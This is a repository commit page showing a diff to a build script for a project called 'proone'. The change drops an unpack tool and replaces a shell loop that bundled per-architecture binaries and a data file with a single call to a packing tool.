aboutsummaryrefslogtreecommitdiff
path: root/scripts/build-all.sh
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-09-08 16:18:13 +0930
committerDavid Timber <mieabby@gmail.com>2020-09-08 16:18:13 +0930
commit550d2eec27a42254b26139208765022fffe7c775 (patch)
tree3842addbbded988183405d37b9cc9c451ba919d9 /scripts/build-all.sh
parent8eed8cde29960ace2ea1b2ceb61962be6f258364 (diff)
* Remove proone-unpack
* self test is done by proone-pack * Impl: htbt@proone * htbt: allocate large buffer first by deault * htbt: use 0600 for NY_BIN as the image is not an executable * pack: return error when z_stream is cut short * proone-pack: impl "nybin" file format
Diffstat (limited to 'scripts/build-all.sh')
-rwxr-xr-xscripts/build-all.sh30
1 files changed, 2 insertions, 28 deletions
diff --git a/scripts/build-all.sh b/scripts/build-all.sh
index f3b0a51..146bdfb 100755
--- a/scripts/build-all.sh
+++ b/scripts/build-all.sh
@@ -55,7 +55,6 @@ PROONE_BINARCH_PREFIX="$PROONE_BINARCH_DIR/binarch"
PROONE_DVAULT="$PROONE_PREFIX/dvault.bin"
PROONE_TOOLS="
proone-pack
- proone-unpack
proone-list-arch
proone-mkdvault
proone-ipaddr-arr
@@ -69,7 +68,7 @@ make distclean
set -e
# native build for tools
-./configure $PROONE_AM_CONF
+./configure $PROONE_AM_CONF
cd src
make -j$(nproc) $PROONE_TOOLS
cd ..
@@ -89,29 +88,4 @@ for (( i = 0; i < ARR_SIZE; i += 1 )); do
done
# pack
-for (( i = 0; i < ARR_SIZE; i += 1 )); do
- this_arch="${ARCH_ARR[$i]}"
- other_archs=""
- rel="$PROONE_REL_PREFIX.$this_arch"
- binarch="$PROONE_BINARCH_PREFIX.$this_arch"
-
- for (( j = 0; j < ARR_SIZE; j += 1 )); do
- if [ $i -eq $j ]; then
- continue
- fi
- other_archs="$other_archs $PROONE_EXEC_PREFIX.${ARCH_ARR[$j]}"
- done
-
- "$PROONE_TOOLS_DIR/proone-pack" $other_archs > "$binarch"
- binarch_size="$(stat -c "%s" "$binarch")"
-
- cp -a "$PROONE_EXEC_PREFIX.$this_arch" "$rel"
- # TODO: parameterise BIN_ALIGNMENT?
- ./src/build-utils.sh align-file 8 "$rel"
- ./src/build-utils.sh append-uint16 $DVAULT_SIZE "$rel"
- ./src/build-utils.sh append-uint16 0 "$rel"
- ./src/build-utils.sh append-uint32 $binarch_size "$rel"
- cat "$PROONE_DVAULT" >> "$rel"
- ./src/build-utils.sh align-file 8 "$rel"
- cat "$binarch" >> "$rel"
-done
+"$PROONE_TOOLS_DIR/proone-pack" "$PROONE_REL_PREFIX" "$PROONE_DVAULT" "$PROONE_EXEC_PREFIX".*